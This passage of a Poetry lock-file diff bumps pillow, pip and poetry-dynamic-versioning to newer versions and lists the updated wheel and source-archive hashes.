"sha256:43b9a0501fc2b5e70680388d9346cf252cfb7d00b0667c39e80eb43a408b8f61"}, + {file = "paramiko-3.5.1.tar.gz", hash = "sha256:b2c665bc45b2b215bd7d7f039901b14b067da00f3a11e6640995fd58f2664822"}, ] [package.dependencies] @@ -1578,107 +1561,103 @@ invoke = ["invoke (>=2.0)"] [[package]] name = "pillow" -version = "11.0.0" +version = "11.1.0" description = "Python Imaging Library (Fork)" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "pillow-11.0.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:6619654954dc4936fcff82db8eb6401d3159ec6be81e33c6000dfd76ae189947"}, - {file = "pillow-11.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b3c5ac4bed7519088103d9450a1107f76308ecf91d6dabc8a33a2fcfb18d0fba"}, - {file = "pillow-11.0.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a65149d8ada1055029fcb665452b2814fe7d7082fcb0c5bed6db851cb69b2086"}, - {file = "pillow-11.0.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88a58d8ac0cc0e7f3a014509f0455248a76629ca9b604eca7dc5927cc593c5e9"}, - {file = "pillow-11.0.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:c26845094b1af3c91852745ae78e3ea47abf3dbcd1cf962f16b9a5fbe3ee8488"}, - {file = "pillow-11.0.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:1a61b54f87ab5786b8479f81c4b11f4d61702830354520837f8cc791ebba0f5f"}, - {file = "pillow-11.0.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:674629ff60030d144b7bca2b8330225a9b11c482ed408813924619c6f302fdbb"}, - {file = "pillow-11.0.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:598b4e238f13276e0008299bd2482003f48158e2b11826862b1eb2ad7c768b97"}, - {file = "pillow-11.0.0-cp310-cp310-win32.whl", hash = "sha256:9a0f748eaa434a41fccf8e1ee7a3eed68af1b690e75328fd7a60af123c193b50"}, - {file = "pillow-11.0.0-cp310-cp310-win_amd64.whl", hash = "sha256:a5629742881bcbc1f42e840af185fd4d83a5edeb96475a575f4da50d6ede337c"}, - {file = "pillow-11.0.0-cp310-cp310-win_arm64.whl", hash = "sha256:ee217c198f2e41f184f3869f3e485557296d505b5195c513b2bfe0062dc537f1"}, - {file = "pillow-11.0.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:1c1d72714f429a521d8d2d018badc42414c3077eb187a59579f28e4270b4b0fc"}, - {file = "pillow-11.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:499c3a1b0d6fc8213519e193796eb1a86a1be4b1877d678b30f83fd979811d1a"}, - {file = "pillow-11.0.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c8b2351c85d855293a299038e1f89db92a2f35e8d2f783489c6f0b2b5f3fe8a3"}, - {file = "pillow-11.0.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6f4dba50cfa56f910241eb7f883c20f1e7b1d8f7d91c750cd0b318bad443f4d5"}, - {file = "pillow-11.0.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:5ddbfd761ee00c12ee1be86c9c0683ecf5bb14c9772ddbd782085779a63dd55b"}, - {file = "pillow-11.0.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:45c566eb10b8967d71bf1ab8e4a525e5a93519e29ea071459ce517f6b903d7fa"}, - {file = "pillow-11.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:b4fd7bd29610a83a8c9b564d457cf5bd92b4e11e79a4ee4716a63c959699b306"}, - {file = "pillow-11.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:cb929ca942d0ec4fac404cbf520ee6cac37bf35be479b970c4ffadf2b6a1cad9"}, - {file = "pillow-11.0.0-cp311-cp311-win32.whl", hash = "sha256:006bcdd307cc47ba43e924099a038cbf9591062e6c50e570819743f5607404f5"}, - {file = "pillow-11.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:52a2d8323a465f84faaba5236567d212c3668f2ab53e1c74c15583cf507a0291"}, - {file = "pillow-11.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:16095692a253047fe3ec028e951fa4221a1f3ed3d80c397e83541a3037ff67c9"}, - {file = "pillow-11.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d2c0a187a92a1cb5ef2c8ed5412dd8d4334272617f532d4ad4de31e0495bd923"}, - {file = "pillow-11.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:084a07ef0821cfe4858fe86652fffac8e187b6ae677e9906e192aafcc1b69903"}, - {file = "pillow-11.0.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8069c5179902dcdce0be9bfc8235347fdbac249d23bd90514b7a47a72d9fecf4"}, - {file = "pillow-11.0.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f02541ef64077f22bf4924f225c0fd1248c168f86e4b7abdedd87d6ebaceab0f"}, - {file = "pillow-11.0.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:fcb4621042ac4b7865c179bb972ed0da0218a076dc1820ffc48b1d74c1e37fe9"}, - {file = "pillow-11.0.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:00177a63030d612148e659b55ba99527803288cea7c75fb05766ab7981a8c1b7"}, - {file = "pillow-11.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8853a3bf12afddfdf15f57c4b02d7ded92c7a75a5d7331d19f4f9572a89c17e6"}, - {file = "pillow-11.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3107c66e43bda25359d5ef446f59c497de2b5ed4c7fdba0894f8d6cf3822dafc"}, - {file = "pillow-11.0.0-cp312-cp312-win32.whl", hash = "sha256:86510e3f5eca0ab87429dd77fafc04693195eec7fd6a137c389c3eeb4cfb77c6"}, - {file = "pillow-11.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:8ec4a89295cd6cd4d1058a5e6aec6bf51e0eaaf9714774e1bfac7cfc9051db47"}, - {file = "pillow-11.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:27a7860107500d813fcd203b4ea19b04babe79448268403172782754870dac25"}, - {file = "pillow-11.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:bcd1fb5bb7b07f64c15618c89efcc2cfa3e95f0e3bcdbaf4642509de1942a699"}, - {file = "pillow-11.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:0e038b0745997c7dcaae350d35859c9715c71e92ffb7e0f4a8e8a16732150f38"}, - {file = "pillow-11.0.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ae08bd8ffc41aebf578c2af2f9d8749d91f448b3bfd41d7d9ff573d74f2a6b2"}, - {file = "pillow-11.0.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d69bfd8ec3219ae71bcde1f942b728903cad25fafe3100ba2258b973bd2bc1b2"}, - {file = "pillow-11.0.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:61b887f9ddba63ddf62fd02a3ba7add935d053b6dd7d58998c630e6dbade8527"}, - {file = "pillow-11.0.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:c6a660307ca9d4867caa8d9ca2c2658ab685de83792d1876274991adec7b93fa"}, - {file = "pillow-11.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:73e3a0200cdda995c7e43dd47436c1548f87a30bb27fb871f352a22ab8dcf45f"}, - {file = "pillow-11.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fba162b8872d30fea8c52b258a542c5dfd7b235fb5cb352240c8d63b414013eb"}, - {file = "pillow-11.0.0-cp313-cp313-win32.whl", hash = "sha256:f1b82c27e89fffc6da125d5eb0ca6e68017faf5efc078128cfaa42cf5cb38798"}, - {file = "pillow-11.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:8ba470552b48e5835f1d23ecb936bb7f71d206f9dfeee64245f30c3270b994de"}, - {file = "pillow-11.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:846e193e103b41e984ac921b335df59195356ce3f71dcfd155aa79c603873b84"}, - {file = "pillow-11.0.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:4ad70c4214f67d7466bea6a08061eba35c01b1b89eaa098040a35272a8efb22b"}, - {file = "pillow-11.0.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:6ec0d5af64f2e3d64a165f490d96368bb5dea8b8f9ad04487f9ab60dc4bb6003"}, - {file = "pillow-11.0.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c809a70e43c7977c4a42aefd62f0131823ebf7dd73556fa5d5950f5b354087e2"}, - {file = "pillow-11.0.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:4b60c9520f7207aaf2e1d94de026682fc227806c6e1f55bba7606d1c94dd623a"}, - {file = "pillow-11.0.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:1e2688958a840c822279fda0086fec1fdab2f95bf2b717b66871c4ad9859d7e8"}, - {file = "pillow-11.0.0-cp313-cp313t-win32.whl", hash = "sha256:607bbe123c74e272e381a8d1957083a9463401f7bd01287f50521ecb05a313f8"}, - {file = "pillow-11.0.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5c39ed17edea3bc69c743a8dd3e9853b7509625c2462532e62baa0732163a904"}, - {file = "pillow-11.0.0-cp313-cp313t-win_arm64.whl", hash = "sha256:75acbbeb05b86bc53cbe7b7e6fe00fbcf82ad7c684b3ad82e3d711da9ba287d3"}, - {file = "pillow-11.0.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:2e46773dc9f35a1dd28bd6981332fd7f27bec001a918a72a79b4133cf5291dba"}, - {file = "pillow-11.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:2679d2258b7f1192b378e2893a8a0a0ca472234d4c2c0e6bdd3380e8dfa21b6a"}, - {file = "pillow-11.0.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eda2616eb2313cbb3eebbe51f19362eb434b18e3bb599466a1ffa76a033fb916"}, - {file = "pillow-11.0.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:20ec184af98a121fb2da42642dea8a29ec80fc3efbaefb86d8fdd2606619045d"}, - {file = "pillow-11.0.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:8594f42df584e5b4bb9281799698403f7af489fba84c34d53d1c4bfb71b7c4e7"}, - {file = "pillow-11.0.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:c12b5ae868897c7338519c03049a806af85b9b8c237b7d675b8c5e089e4a618e"}, - {file = "pillow-11.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:70fbbdacd1d271b77b7721fe3cdd2d537bbbd75d29e6300c672ec6bb38d9672f"}, - {file = "pillow-11.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:5178952973e588b3f1360868847334e9e3bf49d19e169bbbdfaf8398002419ae"}, - {file = "pillow-11.0.0-cp39-cp39-win32.whl", hash = "sha256:8c676b587da5673d3c75bd67dd2a8cdfeb282ca38a30f37950511766b26858c4"}, - {file = "pillow-11.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:94f3e1780abb45062287b4614a5bc0874519c86a777d4a7ad34978e86428b8dd"}, - {file = "pillow-11.0.0-cp39-cp39-win_arm64.whl", hash = "sha256:290f2cc809f9da7d6d622550bbf4c1e57518212da51b6a30fe8e0a270a5b78bd"}, - {file = "pillow-11.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:1187739620f2b365de756ce086fdb3604573337cc28a0d3ac4a01ab6b2d2a6d2"}, - {file = "pillow-11.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:fbbcb7b57dc9c794843e3d1258c0fbf0f48656d46ffe9e09b63bbd6e8cd5d0a2"}, - {file = "pillow-11.0.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d203af30149ae339ad1b4f710d9844ed8796e97fda23ffbc4cc472968a47d0b"}, - {file = "pillow-11.0.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:21a0d3b115009ebb8ac3d2ebec5c2982cc693da935f4ab7bb5c8ebe2f47d36f2"}, - {file = "pillow-11.0.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:73853108f56df97baf2bb8b522f3578221e56f646ba345a372c78326710d3830"}, - {file = "pillow-11.0.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:e58876c91f97b0952eb766123bfef372792ab3f4e3e1f1a2267834c2ab131734"}, - {file = "pillow-11.0.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:224aaa38177597bb179f3ec87eeefcce8e4f85e608025e9cfac60de237ba6316"}, - {file = "pillow-11.0.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:5bd2d3bdb846d757055910f0a59792d33b555800813c3b39ada1829c372ccb06"}, - {file = "pillow-11.0.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:375b8dd15a1f5d2feafff536d47e22f69625c1aa92f12b339ec0b2ca40263273"}, - {file = "pillow-11.0.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:daffdf51ee5db69a82dd127eabecce20729e21f7a3680cf7cbb23f0829189790"}, - {file = "pillow-11.0.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:7326a1787e3c7b0429659e0a944725e1b03eeaa10edd945a86dead1913383944"}, - {file = "pillow-11.0.0.tar.gz", hash = "sha256:72bacbaf24ac003fea9bff9837d1eedb6088758d41e100c1552930151f677739"}, + {file = "pillow-11.1.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:e1abe69aca89514737465752b4bcaf8016de61b3be1397a8fc260ba33321b3a8"}, + {file = "pillow-11.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c640e5a06869c75994624551f45e5506e4256562ead981cce820d5ab39ae2192"}, + {file = "pillow-11.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a07dba04c5e22824816b2615ad7a7484432d7f540e6fa86af60d2de57b0fcee2"}, + {file = "pillow-11.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e267b0ed063341f3e60acd25c05200df4193e15a4a5807075cd71225a2386e26"}, + {file = "pillow-11.1.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:bd165131fd51697e22421d0e467997ad31621b74bfc0b75956608cb2906dda07"}, + {file = "pillow-11.1.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:abc56501c3fd148d60659aae0af6ddc149660469082859fa7b066a298bde9482"}, + {file = "pillow-11.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:54ce1c9a16a9561b6d6d8cb30089ab1e5eb66918cb47d457bd996ef34182922e"}, + {file = "pillow-11.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:73ddde795ee9b06257dac5ad42fcb07f3b9b813f8c1f7f870f402f4dc54b5269"}, + {file = "pillow-11.1.0-cp310-cp310-win32.whl", hash = "sha256:3a5fe20a7b66e8135d7fd617b13272626a28278d0e578c98720d9ba4b2439d49"}, + {file = "pillow-11.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:b6123aa4a59d75f06e9dd3dac5bf8bc9aa383121bb3dd9a7a612e05eabc9961a"}, + {file = "pillow-11.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:a76da0a31da6fcae4210aa94fd779c65c75786bc9af06289cd1c184451ef7a65"}, + {file = "pillow-11.1.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:e06695e0326d05b06833b40b7ef477e475d0b1ba3a6d27da1bb48c23209bf457"}, + {file = "pillow-11.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:96f82000e12f23e4f29346e42702b6ed9a2f2fea34a740dd5ffffcc8c539eb35"}, + {file = "pillow-11.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3cd561ded2cf2bbae44d4605837221b987c216cff94f49dfeed63488bb228d2"}, + {file = "pillow-11.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f189805c8be5ca5add39e6f899e6ce2ed824e65fb45f3c28cb2841911da19070"}, + {file = "pillow-11.1.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:dd0052e9db3474df30433f83a71b9b23bd9e4ef1de13d92df21a52c0303b8ab6"}, + {file = "pillow-11.1.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:837060a8599b8f5d402e97197d4924f05a2e0d68756998345c829c33186217b1"}, + {file = "pillow-11.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:aa8dd43daa836b9a8128dbe7d923423e5ad86f50a7a14dc688194b7be5c0dea2"}, + {file = "pillow-11.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0a2f91f8a8b367e7a57c6e91cd25af510168091fb89ec5146003e424e1558a96"}, + {file = "pillow-11.1.0-cp311-cp311-win32.whl", hash = "sha256:c12fc111ef090845de2bb15009372175d76ac99969bdf31e2ce9b42e4b8cd88f"}, + {file = "pillow-11.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:fbd43429d0d7ed6533b25fc993861b8fd512c42d04514a0dd6337fb3ccf22761"}, + {file = "pillow-11.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:f7955ecf5609dee9442cbface754f2c6e541d9e6eda87fad7f7a989b0bdb9d71"}, + {file = "pillow-11.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2062ffb1d36544d42fcaa277b069c88b01bb7298f4efa06731a7fd6cc290b81a"}, + {file = "pillow-11.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a85b653980faad27e88b141348707ceeef8a1186f75ecc600c395dcac19f385b"}, + {file = "pillow-11.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9409c080586d1f683df3f184f20e36fb647f2e0bc3988094d4fd8c9f4eb1b3b3"}, + {file = "pillow-11.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7fdadc077553621911f27ce206ffcbec7d3f8d7b50e0da39f10997e8e2bb7f6a"}, + {file = "pillow-11.1.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:93a18841d09bcdd774dcdc308e4537e1f867b3dec059c131fde0327899734aa1"}, + {file = "pillow-11.1.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:9aa9aeddeed452b2f616ff5507459e7bab436916ccb10961c4a382cd3e03f47f"}, + {file = "pillow-11.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3cdcdb0b896e981678eee140d882b70092dac83ac1cdf6b3a60e2216a73f2b91"}, + {file = "pillow-11.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:36ba10b9cb413e7c7dfa3e189aba252deee0602c86c309799da5a74009ac7a1c"}, + {file = "pillow-11.1.0-cp312-cp312-win32.whl", hash = "sha256:cfd5cd998c2e36a862d0e27b2df63237e67273f2fc78f47445b14e73a810e7e6"}, + {file = "pillow-11.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:a697cd8ba0383bba3d2d3ada02b34ed268cb548b369943cd349007730c92bddf"}, + {file = "pillow-11.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:4dd43a78897793f60766563969442020e90eb7847463eca901e41ba186a7d4a5"}, + {file = "pillow-11.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ae98e14432d458fc3de11a77ccb3ae65ddce70f730e7c76140653048c71bfcbc"}, + {file = "pillow-11.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cc1331b6d5a6e144aeb5e626f4375f5b7ae9934ba620c0ac6b3e43d5e683a0f0"}, + {file = "pillow-11.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:758e9d4ef15d3560214cddbc97b8ef3ef86ce04d62ddac17ad39ba87e89bd3b1"}, + {file = "pillow-11.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b523466b1a31d0dcef7c5be1f20b942919b62fd6e9a9be199d035509cbefc0ec"}, + {file = "pillow-11.1.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:9044b5e4f7083f209c4e35aa5dd54b1dd5b112b108648f5c902ad586d4f945c5"}, + {file = "pillow-11.1.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:3764d53e09cdedd91bee65c2527815d315c6b90d7b8b79759cc48d7bf5d4f114"}, + {file = "pillow-11.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:31eba6bbdd27dde97b0174ddf0297d7a9c3a507a8a1480e1e60ef914fe23d352"}, + {file = "pillow-11.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b5d658fbd9f0d6eea113aea286b21d3cd4d3fd978157cbf2447a6035916506d3"}, + {file = "pillow-11.1.0-cp313-cp313-win32.whl", hash = "sha256:f86d3a7a9af5d826744fabf4afd15b9dfef44fe69a98541f666f66fbb8d3fef9"}, + {file = "pillow-11.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:593c5fd6be85da83656b93ffcccc2312d2d149d251e98588b14fbc288fd8909c"}, + {file = "pillow-11.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:11633d58b6ee5733bde153a8dafd25e505ea3d32e261accd388827ee987baf65"}, + {file = "pillow-11.1.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:70ca5ef3b3b1c4a0812b5c63c57c23b63e53bc38e758b37a951e5bc466449861"}, + {file = "pillow-11.1.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:8000376f139d4d38d6851eb149b321a52bb8893a88dae8ee7d95840431977081"}, + {file = "pillow-11.1.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ee85f0696a17dd28fbcfceb59f9510aa71934b483d1f5601d1030c3c8304f3c"}, + {file = "pillow-11.1.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:dd0e081319328928531df7a0e63621caf67652c8464303fd102141b785ef9547"}, + {file = "pillow-11.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:e63e4e5081de46517099dc30abe418122f54531a6ae2ebc8680bcd7096860eab"}, + {file = "pillow-11.1.0-cp313-cp313t-win32.whl", hash = "sha256:dda60aa465b861324e65a78c9f5cf0f4bc713e4309f83bc387be158b077963d9"}, + {file = "pillow-11.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:ad5db5781c774ab9a9b2c4302bbf0c1014960a0a7be63278d13ae6fdf88126fe"}, + {file = "pillow-11.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:67cd427c68926108778a9005f2a04adbd5e67c442ed21d95389fe1d595458756"}, + {file = "pillow-11.1.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:bf902d7413c82a1bfa08b06a070876132a5ae6b2388e2712aab3a7cbc02205c6"}, + {file = "pillow-11.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c1eec9d950b6fe688edee07138993e54ee4ae634c51443cfb7c1e7613322718e"}, + {file = "pillow-11.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8e275ee4cb11c262bd108ab2081f750db2a1c0b8c12c1897f27b160c8bd57bbc"}, + {file = "pillow-11.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4db853948ce4e718f2fc775b75c37ba2efb6aaea41a1a5fc57f0af59eee774b2"}, + {file = "pillow-11.1.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:ab8a209b8485d3db694fa97a896d96dd6533d63c22829043fd9de627060beade"}, + {file = "pillow-11.1.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:54251ef02a2309b5eec99d151ebf5c9904b77976c8abdcbce7891ed22df53884"}, + {file = "pillow-11.1.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:5bb94705aea800051a743aa4874bb1397d4695fb0583ba5e425ee0328757f196"}, + {file = "pillow-11.1.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89dbdb3e6e9594d512780a5a1c42801879628b38e3efc7038094430844e271d8"}, + {file = "pillow-11.1.0-cp39-cp39-win32.whl", hash = "sha256:e5449ca63da169a2e6068dd0e2fcc8d91f9558aba89ff6d02121ca8ab11e79e5"}, + {file = "pillow-11.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:3362c6ca227e65c54bf71a5f88b3d4565ff1bcbc63ae72c34b07bbb1cc59a43f"}, + {file = "pillow-11.1.0-cp39-cp39-win_arm64.whl", hash = "sha256:b20be51b37a75cc54c2c55def3fa2c65bb94ba859dde241cd0a4fd302de5ae0a"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:8c730dc3a83e5ac137fbc92dfcfe1511ce3b2b5d7578315b63dbbb76f7f51d90"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:7d33d2fae0e8b170b6a6c57400e077412240f6f5bb2a342cf1ee512a787942bb"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a8d65b38173085f24bc07f8b6c505cbb7418009fa1a1fcb111b1f4961814a442"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:015c6e863faa4779251436db398ae75051469f7c903b043a48f078e437656f83"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:d44ff19eea13ae4acdaaab0179fa68c0c6f2f45d66a4d8ec1eda7d6cecbcc15f"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:d3d8da4a631471dfaf94c10c85f5277b1f8e42ac42bade1ac67da4b4a7359b73"}, + {file = "pillow-11.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:4637b88343166249fe8aa94e7c4a62a180c4b3898283bb5d3d2fd5fe10d8e4e0"}, + {file = "pillow-11.1.0.tar.gz", hash = "sha256:368da70808b36d73b4b390a8ffac11069f8a5c85f29eff1f1b01bcf3ef5b2a20"}, ] [package.extras] docs = ["furo", "olefile", "sphinx (>=8.1)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] fpx = ["olefile"] mic = ["olefile"] -tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"] +tests = ["check-manifest", "coverage (>=7.4.2)", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout", "trove-classifiers (>=2024.10.12)"] typing = ["typing-extensions ; python_version < \"3.10\""] xmp = ["defusedxml"] [[package]] name = "pip" -version = "24.2" +version = "25.0.1" description = "The PyPA recommended tool for installing Python packages." optional = false python-versions = ">=3.8" groups = ["dev"] files = [ - {file = "pip-24.2-py3-none-any.whl", hash = "sha256:2cd581cf58ab7fcfca4ce8efa6dcacd0de5bf8d0a3eb9ec927e07405f4d9e2a2"}, - {file = "pip-24.2.tar.gz", hash = "sha256:5b5e490b5e9cb275c879595064adce9ebd31b854e3e803740b72f9ccf34a45b8"}, + {file = "pip-25.0.1-py3-none-any.whl", hash = "sha256:c46efd13b6aa8279f33f2864459c8ce587ea6a1a59ee20de055868d8f7688f7f"}, + {file = "pip-25.0.1.tar.gz", hash = "sha256:88f96547ea48b940a3a385494e181e29fb8637898f88d88737c5049780f196ea"}, ] [[package]] @@ -1699,14 +1678,14 @@ testing = ["pytest", "pytest-benchmark"] [[package]] name = "poetry-dynamic-versioning" -version = "1.4.1" +version = "1.7.1" description = "Plugin for Poetry to enable dynamic versioning based on VCS tags" optional = false python-versions = "<4.0,>=3.7" groups = ["main"] files = [ - {file = "poetry_dynamic_versioning-1.4.1-py3-none-any.whl", hash = "sha256:44866ccbf869849d32baed4fc5fadf97f786180d8efa1719c88bf17a471bd663"}, - {file = "poetry_dynamic_versioning-1.4.1.tar.gz", hash = "sha256:21584d21ca405aa7d83d23d38372e3c11da664a8742995bdd517577e8676d0e1"}, + {file = "poetry_dynamic_versioning-1.7.1-py3-none-any.whl", hash = "sha256:70a4a54bee89aef276e3f2f8841f10a6f140b19c5aeb371a1a6095f84fcbe7b1"}, + {file = "poetry_dynamic_versioning-1.7.1.tar.gz", hash = "sha256:7304b8459af7b7114cd83429827c4d3d8b7d29df4129dde8dff61c76f93faaa3"}, ] [package.dependencies] 